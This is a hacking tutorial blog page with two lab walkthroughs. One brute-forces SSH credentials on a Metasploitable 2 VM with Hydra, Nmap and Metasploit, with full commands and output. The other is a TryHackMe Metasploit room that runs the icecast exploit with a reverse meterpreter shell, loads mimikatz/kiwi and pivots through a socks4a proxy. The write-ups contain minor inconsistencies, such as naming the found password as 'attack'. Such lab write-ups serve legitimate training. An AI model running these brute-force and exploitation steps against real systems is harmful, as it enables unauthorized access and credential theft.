Our development agency is committed to providing you the best service.


The awesome people behind our brand ... and their life motto.

  • Kumar Atul Jaiswal

    Ethical Hacker

    Hacking is a Speed of Innovation And Technology with Romance.

  • Kumar Atul Jaiswal

    CEO Of Hacking Truth

    Loopholes are every major Security,Just need to Understand it well.

  • Kumar Atul Jaiswal

    Web Developer

    Techonology is the best way to Change Everything, like Mindset Goal.


We pride ourselves with strong, flexible and top notch skills.


Development 90%
Design 80%
Marketing 70%


Development 90%
Design 80%
Marketing 70%


Development 90%
Design 80%
Marketing 70%


We help our clients integrate, analyze, and use their data to improve their business.










Phasellus iaculis dolor nec urna nullam. Vivamus mattis blandit porttitor nullam.


We pride ourselves on bringing a fresh perspective and effective marketing to each project.

Showing posts with label Metasploit. Show all posts
Showing posts with label Metasploit. Show all posts
  • Brute Force and Password Cracking Live via three different tools


    Brute Force and Password Cracking Live via three different tools



    You are a Penetration Tester hired by the company Hacking Truth to perform Password cracking/Brute Force tests on their internal Web Application and machines after knowing usernames and some kind of security test. You are asked to perform the penetration test on the client premises.

    Brute Force and Password Cracking Live on Metasploitable 2 via three different tools

    In this metasploitable2 environment, we get access to a Kali GUI instance. An SSH server can be accessed using the tools installed on Kali on virtual machine

    Objective: Perform the following activities:

    1. Find the password of user "msfadmin" using Hydra. Use password dictionary: //home/hackerboy/Desktop/Penetration-tester-jr/user.txt or rockyou.txt

    2. Find the password of user "msfadmin" use appropriate Nmap script. Use password dictionary list bydefault: /usr/share/nmap/nselib/data/passwords.lst and the user list is here /home/hackerboy/Desktop/Penetration-tester-jr/user1.txt

    3. Find the password of user "msfadmin" using the ssh_login Metasploit module. Use userpass dictionary: /home/hackerboy/Desktop/Penetration-tester-jr/userpass.txt




    The best tools for this lab are:

    # Metasploit Framework
    # Hydra
    # Nmap



    Check the interfaces present on the Kali machine.

    Command - ifconfig


    Brute Force and Password Cracking Live via three different tools


     There are interface eth0 available and the ip is

    Using Hydra

    Use Hydra to launch a dictionary attack on the SSH service for the "student" user.


    # Multi-threaded authentication brute force tool
    # Supports numerous protocols, including FTP, HTTP, IMAP, IRC, LDAP, SSH, VNC, etc.
    # Written in C

    Hydra help option


    └─$ hydra -h                                                                                       
    Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
    Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]
      -R        restore a previous aborted/crashed session
      -I        ignore an existing restore file (don't wait 10 seconds)
      -S        perform an SSL connect
      -s PORT   if the service is on a different default port, define it here
      -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
      -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
      -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
      -y        disable use of symbols in bruteforce, see above
      -r        use a non-random shuffling method for option -x
      -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
      -u        loop around users, not passwords (effective! implied with -x)
      -C FILE   colon separated "login:pass" format, instead of -L/-P options
      -M FILE   list of servers to attack, one entry per line, ':' to specify port
      -o FILE   write found login/password pairs to FILE instead of stdout
      -b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
      -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
      -t TASKS  run TASKS number of connects in parallel per target (default: 16)
      -T TASKS  run TASKS connects in parallel overall (for -M, default: 64)
      -w / -W TIME  wait time for a response (32) / between connects per thread (0)
      -c TIME   wait time per login attempt over all threads (enforces -t 1)
      -4 / -6   use IPv4 (default) / IPv6 addresses (put always in [] also in -M)
      -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode 
      -O        use old SSL v2 and v3
      -K        do not redo failed attempts (good for -M mass scanning)
      -q        do not print messages about connection errors
      -U        service module usage details
      -m OPT    options specific for a module, see -U output for information
      -h        more command line options (COMPLETE HELP)
      server    the target: DNS, IP or (this OR the -M option)
      service   the service to crack (see below for supported protocols)
      OPT       some service modules support additional input (-U for module help)
    Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
    Hydra is a tool to guess/crack valid login/password pairs.
    Licensed under AGPL v3.0. The newest version is always available at;
    Please don't use in military or secret service organizations, or for illegal
    purposes. (This is a wish and non-binding - most such people do not care about
    laws and ethics anyway - and tell themselves they are one of the good ones.)
    These services were not compiled in: afp ncp oracle sapr3 smb2.
    Use HYDRA_PROXY_HTTP or HYDRA_PROXY environment variables for a proxy setup.
    E.g. % export HYDRA_PROXY=socks5://l:p@ (or: socks4:// connect://)
         % export HYDRA_PROXY=connect_and_socks_proxylist.txt  (up to 64 entries)
         % export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080
         % export HYDRA_PROXY_HTTP=proxylist.txt  (up to 64 entries)
      hydra -l user -P passlist.txt
      hydra -L userlist.txt -p defaultpw imap://
      hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
      hydra -l admin -p password ftp://[]/
      hydra -L logins.txt -P pws.txt -M targets.txt ssh

    We are going to use wordlist /home/hackerboy/Desktop/Penetration-tester-jr/user.txt or rockyou.txt

    Now, use the Hydra tool to launch the attack.


    hydra -l msfadmin -P /home/hackerboy/Desktop/Penetration-tester-jr/user.txt ssh://

    Login with a single username

    Load several passwords from the list

    └─$ hydra -l msfadmin -P /home/hackerboy/Desktop/Penetration-tester-jr/user.txt ssh:// 
    Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-24 20:33:02
    [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
    [DATA] max 13 tasks per 1 server, overall 13 tasks, 13 login tries (l:1/p:13), ~1 try per task
    [DATA] attacking ssh://
    [22][ssh] host:   login: msfadmin   password: msfadmin
    1 of 1 target successfully completed, 1 valid password found
    [WARNING] Writing restore file because 1 final worker threads did not complete until end.
    [ERROR] 1 target did not resolve or could not be connected
    [ERROR] 0 target did not complete
    Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-12-24 20:33:05

    Brute Force and Password Cracking Live via three different tools

    The password for the msfadmin user is msfadmin.

    Using Nmap Script

    We will run ssh-brute Nmap script to find the password of the "administrator" user.

    Password List to be used bydefault via nmap



    ssh-brute script

    ssh-brute.nse is a Nmap script used to launch dictionary attacks on the SSH service.

    This script takes a username and password list files. This is useful when the target username is not known to the attacker. However, in this case, we are already aware of the username i.e. "administrator". So, we will create a new file containing only this username.


    echo "msfadmin" > users1.txt

    NOTE- msfadmin is our username

    The password list is "/usr/share/nmap/nselib/data/passwords.lst".

    We can now run the script,


    nmap -p 22 --script ssh-brute --script-args userdb=/home/hackerboy/Desktop/Penetration-tester-jr/user1.txt



    └─$ sudo nmap -p 22 --script ssh-brute --script-args userdb=/home/hackerboy/Desktop/Penetration-tester-jr/user1.txt 
    [sudo] password for hackerboy: 
    Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-24 20:35 IST
    NSE: [ssh-brute] Trying username/password pair: msfadmin:msfadmin
    NSE: [ssh-brute] Trying username/password pair: msfadmin:
    NSE: [ssh-brute] Trying username/password pair: msfadmin:123456
    NSE: [ssh-brute] Trying username/password pair: msfadmin:12345
    NSE: [ssh-brute] Trying username/password pair: msfadmin:123456789
    Nmap scan report for
    Host is up (0.00036s latency).
    22/tcp open  ssh
    | ssh-brute: 
    |   Accounts: 
    |     msfadmin:msfadmin - Valid credentials
    |_  Statistics: Performed 5 guesses in 13 seconds, average tps: 0.4
    MAC Address: 08:00:27:67:67:30 (Oracle VirtualBox virtual NIC)
    Nmap done: 1 IP address (1 host up) scanned in 23.21 seconds


    Brute Force and Password Cracking Live via three different tools


    The password of the "msfadmin" user is msfadmin

    Using Metasploit

    We can use


    auxiliary module of the Metasploit framework to find the valid password for the "msfadmin" user.

    ssh_login module

    It is an auxiliary scanner module for ssh service in Metasploit. It also pops up an SSH shell on success.

    Start msfconsole in quite mode using


    msfconsole -q


    Use the auxiliary/scanner/ssh/ssh_login module and set all required target details i.e RHOSTS, USERPASS_FILE, STOP_ON_SUCCESS, verbose etc.

    Password List

    /usr/share/wordlists/metasploit/root_userpass.txt or /home/hackerboy/Desktop/Penetration-tester-jr/userpass.txt



    use auxiliary/scanner/ssh/ssh_login
    set RHOSTS demo.ine.local
    set USERPASS_FILE /home/hackerboy/Desktop/Penetration-tester-jr/userpass.txt
    set STOP_ON_SUCCESS true
    set verbose true

    : Target IP address

    : Custom Username and Password file i.e user:pass

    : If set to

    -the operation stops after finding the working credentials

    : If set to

    -operation logs will be shown on console 








    msf6 >
    msf6 > search ssh_login
    Matching Modules
       #  Name                                    Disclosure Date  Rank    Check  Description
       -  ----                                    ---------------  ----    -----  -----------
       0  auxiliary/scanner/ssh/ssh_login                          normal  No     SSH Login Check Scanner
       1  auxiliary/scanner/ssh/ssh_login_pubkey                   normal  No     SSH Public Key Login Scanner
    Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey
    msf6 > use 0
    msf6 auxiliary(scanner/ssh/ssh_login) > 
    msf6 auxiliary(scanner/ssh/ssh_login) > 
    msf6 auxiliary(scanner/ssh/ssh_login) > 
    msf6 auxiliary(scanner/ssh/ssh_login) > 
    msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS
    RHOSTS =>
    msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /home/hackerboy/Desktop/Penetration-tester-jr/userpass.txt
    USERPASS_FILE => /home/hackerboy/Desktop/Penetration-tester-jr/userpass.txt
    msf6 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
    STOP_ON_SUCCESS => true
    msf6 auxiliary(scanner/ssh/ssh_login) > set verbose true
    verbose => true
    msf6 auxiliary(scanner/ssh/ssh_login) > exploit
    [*] - Starting bruteforce
    [-] - Failed: 'hackerboy:hackerbo'
    [-] - Failed: 'hackerboy:hacker'
    [-] - Failed: 'hackerboy:atul'
    [-] - Failed: 'hackerboy:atulthehackerboy'
    [-] - Failed: 'hackerboy:fadsg'
    [-] - Failed: 'hackerboy:fdasg'
    [+] - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
    [*] Command shell session 2 opened ( -> ) at 2021-12-24 20:00:21 +0530
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf6 auxiliary(scanner/ssh/ssh_login) > 



    Brute Force and Password Cracking Live via three different tools

    The password for the "msfadmin" user is attack. The tools have also provided an SSH shell.





    msf6 auxiliary(scanner/ssh/ssh_login) > 
    msf6 auxiliary(scanner/ssh/ssh_login) > 
    msf6 auxiliary(scanner/ssh/ssh_login) > sessions
    Active sessions
      Id  Name  Type         Information                                Connection
      --  ----  ----         -----------                                ----------
      1         shell linux  SSH hackerboy:hackerboy ( ->  (
      2         shell linux  SSH msfadmin:msfadmin ( ->  (
    msf6 auxiliary(scanner/ssh/ssh_login) > 



    Metasploit framework takes more time for dictionary attacks in comparison to Hydra and Nmap.

    We can use the credentials to access the target machine using the SSH command.

    SSH to the target machine using the credentials of user "root".


    ssh msfadmin@
    ls -la



    └─$                                                                                                                             130 ⨯
    └─$ ssh msfadmin@                                                                                                   130 ⨯
    The authenticity of host ' (' can't be established.
    RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
    This host key is known by the following other names/addresses:
        ~/.ssh/known_hosts:2: [hashed name]
        ~/.ssh/known_hosts:6: [hashed name]
        ~/.ssh/known_hosts:80: [hashed name]
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added '' (RSA) to the list of known hosts.
    msfadmin@'s password: 
    Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
    The programs included with the Ubuntu system are free software;
    the exact distribution terms for each program are described in the
    individual files in /usr/share/doc/*/copyright.
    Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
    applicable law.
    To access official Ubuntu documentation, please visit:
    No mail.
    Last login: Fri Dec 24 09:17:35 2021
    msfadmin@metasploitable:~$ id
    uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
    msfadmin@metasploitable:~$ whoami
    msfadmin@metasploitable:~$ ls -la
    total 68
    drwxr-xr-x 7 msfadmin msfadmin 4096 2021-07-09 16:15 .
    drwxrwxrwx 7 root     root     4096 2021-06-02 05:32 ..
    lrwxrwxrwx 1 root     root        9 2012-05-14 00:26 .bash_history -> /dev/null
    -rw-r--r-- 1 msfadmin msfadmin    1 2021-06-02 06:04 --checkpoint=1
    -rw-r--r-- 1 msfadmin msfadmin    1 2021-06-02 06:03 --checkpoint-action=exec=sh test.sh
    -rw-r--r-- 1 msfadmin msfadmin    0 2020-12-05 10:37 data.txt
    drwxr-xr-x 4 msfadmin msfadmin 4096 2010-04-17 14:11 .distcc
    drwx------ 2 msfadmin msfadmin 4096 2021-07-13 06:25 .gconf
    drwx------ 2 msfadmin msfadmin 4096 2021-07-13 06:25 .gconfd
    -rw-r--r-- 1 msfadmin msfadmin  891 2021-04-25 08:20 index.html
    -rw-r--r-- 1 msfadmin msfadmin  891 2021-04-25 08:20 index.html.1
    -rw-r--r-- 1 msfadmin msfadmin   14 2021-04-25 08:22 index.html.2
    -rw------- 1 root     root     4174 2012-05-14 02:01 .mysql_history
    -rw-r--r-- 1 msfadmin msfadmin  586 2010-03-16 19:12 .profile
    -rwx------ 1 msfadmin msfadmin    4 2012-05-20 14:22 .rhosts
    drwx------ 2 msfadmin msfadmin 4096 2020-12-05 10:18 .ssh
    -rw-r--r-- 1 msfadmin msfadmin    0 2010-05-07 14:38 .sudo_as_admin_successful
    -rw-r--r-- 1 msfadmin msfadmin   56 2021-06-02 06:03 test.sh
    drwxr-xr-x 6 msfadmin msfadmin 4096 2010-04-27 23:44 vulnerable


    This is how we can launch dictionary attacks on services using Hydra, Nmap, and Metasploit.



    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.



  • TryHackeMe RP : Metasploit walkthrough

    TryHackeMe RP  Metasploit walkthrough

    The platform develops virtual classrooms that not only allow users to deploy training environments with the click of a button, but also reinforce learning by adding a question-answer approach. Its a comfortable experience to learn using pre-designed courses which include virtual machines (VM) hosted in the cloud.

    tryhackme rp Metasploit

    While using a question-answer model does make learning easier, TryHackMe allows users to create their own virtual classrooms to teach particular topics enabling them to become teachers. This not only provides other users with rich and varied content, but also helps creators reinforce their understanding of fundamental concepts.

     tryhackme rp nmap

    TryHackMe :- Click Here

    TryHackMe has recently had their 500th user sign up to access varied content from fundamentals of web security to basic reverse engineering. Their self contained virtual classrooms make it easy for users to focus on a particular area by aggregating the necessary information. They want users to focus on the learning instead of spending time scouring the internet for resources! They are a relatively new company, so they are still in the process of creating custom VMs for learning purposes, but more content is being released weekly and their newsletter gives users an insight to whats being released on a weekly basis ahead of time. TryHackeMe RP : Metasploit walkthrough

     tryhackme rp nmap


    [Task 1] Intro

    [Task 2] Initializing…

    1) First things first, we need to initialize the database! Let’s do that now with the command: msfdb init

       msfdb init    

    I already initialzed database

    TryHackeMe RP : Metasploit walkthrough

    2) Before starting Metasploit, we can view some of the advanced options we can trigger for starting the console. Check these out now by using the command: msfconsole -h

      msfconsole -h  

    TryHackeMe RP : Metasploit walkthrough

    3) We can start the Metasploit console on the command line without showing the banner or any startup information as well. What switch do we add to msfconsole to start it without showing this information? This will include the ‘-’

        ANS: -q    

    4) Once the database is initialized, go ahead and start Metasploit via the command: msfconsole


    TryHackeMe RP : Metasploit walkthrough

    5)  After Metasploit has started, let’s go ahead and check that we’ve connected to the database. Do this now with the command: db_status


    TryHackeMe RP : Metasploit walkthrough

    6) Cool! We’ve connected to the database, which type of database does Metasploit 5 use?

      ANS: postgresql 


     [Task 3] Rock ’em to the Core [Commands]

    Let’s go ahead and start exploring the help menu. On the Metasploit prompt (where we’ll be at after we start Metasploit using msfconsole), type the command: help


    2) The help menu has a very short one-character alias, what is it?


    3)  Finding various modules we have at our disposal within Metasploit is one of the most common commands we will leverage in the framework. What is the base command we use for searching?


    4) Once we’ve found the module we want to leverage, what command we use to select it as the active module?


    5) How about if we want to view information about either a specific module or just the active one we have selected?


    6) Metasploit has a built-in netcat-like function where we can make a quick connection with a host simply to verify that we can ‘talk’ to it. What command is this?


    7) Entirely one of the commands purely utilized for fun, what command displays the motd/ascii art we see when we start msfconsole (without -q flag)?


    TryHackeMe RP : Metasploit walkthrough

    8)  We’ll revisit these next two commands shortly, however, they’re two of the most used commands within Metasploit. First, what command do we use to change the value of a variable?


    9) Metasploit supports the use of global variables, something which is incredibly useful when you’re specifically focusing on a single box. What command changes the value of a variable globally?


    10)  Now that we’ve learned about to change the value of variables, how do we view them? There are technically several answers to this question, however, I’m looking for a specific three-letter command which is used to view the value of single variables.


    TryHackeMe RP : Metasploit walkthrough

    11) How about changing the value of a variable to null/no value?


    12) When performing a penetration test it’s quite common to record your screen either for further review or for providing evidence of any actions taken. This is often coupled with the collection of console output to a file as it can be incredibly useful to grep for different pieces of information output to the screen. What command can we use to set our console output to save to a file?


    13) Leaving a Metasploit console running isn’t always convenient and it can be helpful to have all of our previously set values load when starting up Metasploit. What command can we use to store the settings/active datastores from Metasploit to a settings file? This will save within your msf4 (or msf5) directory and can be undone easily by simply removing the created settings file.




    [Task 4] Modules for Every Occasion!

    1) Easily the most common module utilized, which module holds all of the exploit code we will use?


    2) Used hand in hand with exploits, which module contains the various bits of shellcode we send to have executed following exploitation?


    3)  Which module is most commonly used in scanning and verification machines are exploitable? This is not the same as the actual exploitation of course.


    4)  One of the most common activities after exploitation is looting and pivoting. Which module provides these capabilities?


    5)  Commonly utilized in payload obfuscation, which module allows us to modify the ‘appearance’ of our exploit such that we may avoid signature detection?


    6) Last but not least, which module is used with buffer overflow and ROP attacks?


    7)  Not every module is loaded in by default, what command can we use to load different modules?



    [Task 5] Move that shell!

    1) Metasploit comes with a built-in way to run nmap and feed it’s results directly into our database. Let’s run that now by using the command ‘db_nmap -sV BOX-IP’

       db_nmap -sV <ip>  

    TryHackeMe RP : Metasploit walkthrough

    2. What service does nmap identify running on port 135?

      ANS: msrdp 

    3. Let’s go ahead and see what information we have collected in the database. Try typing the command ‘hosts’ into the msfconsole now.


    TryHackeMe RP : Metasploit walkthrough

    4)  How about something else from the database, try the command ‘services’ now.


    TryHackeMe RP : Metasploit walkthrough

    5) One last thing, try the command ‘vulns’ now. This won’t show much at the current moment, however, it’s worth noting that Metasploit will keep track of discovered vulnerabilities. One of the many ways the database can be leveraged quickly and powerfully.


    6)  Now that we’ve scanned our victim system, let’s try connecting to it with a Metasploit payload. First, we’ll have to search for the target payload. In Metasploit 5 (the most recent version at the time of writing) you can simply type ‘use’ followed by a unique string found within only the target exploit. For example, try this out now with the following command ‘use icecast’. What is the full path for our exploit that now appears on the msfconsole prompt? *This will include the exploit section at the start

      use icecast  

    TryHackeMe RP : Metasploit walkthrough

       ANS: exploit/windows/http/icecast_header 

    7) While that use command with the unique string can be incredibly useful that’s not quite the exploit we want here. Let’s now run the command ‘search multi/handler’. What is the name of the column on the far left side of the console that shows up next to ‘Name’? Go ahead and run the command ‘use NUMBER_NEXT_TO exploit/multi/handler` wherein the number will be what appears in that far left column (typically this will be 4 or 5). In this way, we can use our search results without typing out the full name/path of the module we want to use.

      search multi/handler  

    TryHackeMe RP : Metasploit walkthrough

      ANS: # 

    8)  Now type the command ‘use NUMBER_FROM_PREVIOUS_QUESTION’. This is the short way to use modules returned by search results.

      use 4  

    9) Next, let’s set the payload using this command ‘set PAYLOAD windows/meterpreter/reverse_tcp’. In this way, we can modify which payloads we want to use with our exploits. Additionally, let’s run this command ‘set LHOST YOUR_IP_ON_TRYHACKME’. You might have to check your IP using the command ‘ip addr’, it will likely be your tun0 interface.

      set PAYLOAD windows/meterpreter/reverse_tcpset 

       LHOST tun0    

    10) Let’s go ahead and return to our previous exploit, run the command `use icecast` to select it again.

      use icecast  

    11)  One last step before we can run our exploit. Run the command ‘set RHOST BOX_IP’ to tell Metasploit which target to attack.

      set RHOST <box_ip> 

    12) Once you’re set those variables correctly, run the exploit now via either the command ‘exploit’ or the command ‘run -j’ to run this as a job.

       run -j  

    13)  Once we’ve started this, we can check all of the jobs running on the system by running the command `jobs`


    14) After we’ve established our connection in the next task, we can list all of our sessions using the command `sessions`. Similarly, we can interact with a target session using the command `sessions -i SESSION_NUMBER`


       session 1  


    [Task 6] We’re in, now what?

    1) First things first, our initial shell/process typically isn’t very stable. Let’s go ahead and attempt to move to a different process. First, let’s list the processes using the command ‘ps’. What’s the name of the spool service?


    TryHackeMe RP : Metasploit walkthrough

        ANS: spoolsv.exe   

    2) Let’s go ahead and move into the spool process or at least attempt to! What command do we use to transfer ourselves into the process? This won’t work at the current time as we don’t have sufficient privileges but we can still try!

       migrate -N spoolsv.exe  

    3) Well that migration didn’t work, let’s find out some more information about the system so we can try to elevate. What command can we run to find out more information regarding the current user running the process we are in?


    4)  How about finding more information out about the system itself?


    5. This might take a little bit of googling, what do we run to load mimikatz (more specifically the new version of mimikatz) so we can use it?

         load kiwi     

    6)  Let’s go ahead and figure out the privileges of our current user, what command do we run?


    7)  What command do we run to transfer files to our victim computer?


    8)  How about if we want to run a Metasploit module?


    9) A simple question but still quite necessary, what command do we run to figure out the networking information and interfaces on our victim?


    10) Let’s go ahead and run a few post modules from Metasploit. First, let’s run the command `run post/windows/gather/checkvm`. This will determine if we’re in a VM, a very useful piece of knowledge for further pivoting.

       run post/windows/gather/checkvm 

    11) Next, let’s try: `run post/multi/recon/local_exploit_suggester`. This will check for various exploits which we can run within our session to elevate our privileges. Feel free to experiment using these suggestions, however, we’ll be going through this in greater detail in the room `Ice`.

       run post/multi/recon/local_exploit_suggester  

    12) Finally, let’s try forcing RDP to be available. This won’t work since we aren’t administrators, however, this is a fun command to know about: `run post/windows/manage/enable_rdp`

      run post/windows/manage/enable_rdp  

    13. One quick extra question, what command can we run in our meterpreter session to spawn a normal system shell?



    [Task 7] Makin’ Cisco Proud

    1) Let’s go ahead and run the command `run autoroute -h`, this will pull up the help menu for autoroute. What command do we run to add a route to the following subnet: Use the -n flag in your answer.

      run autoroute -h  

       run autoroute -s -n  

    2) Additionally, we can start a socks4a proxy server out of this session. Background our current meterpreter session and run the command `search server/socks4a`. What is the full path to the socks4a auxiliary module?

       search server/socks4a  

      ANS: auxiliary/server/socks4a  

    3)  Once we’ve started a socks server we can modify our /etc/proxychains.conf file to include our new server. What command do we prefix our commands (outside of Metasploit) to run them through our socks4a server with proxychains?


    TryHackeMe RP : Metasploit walkthrough



    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!

    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.

    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.

    - Hacking Truth by Kumar Atul Jaiswal

    Video Tutorial :-  


    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)


    We've been developing corporate tailored services for clients for 30 years.


    For enquiries you can contact us in several different ways. Contact details are below.

    Hacking Truth.in

    • Street :Road Street 00
    • Person :Person
    • Phone :+045 123 755 755
    • Country :POLAND
    • Email :contact@heaven.com

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation.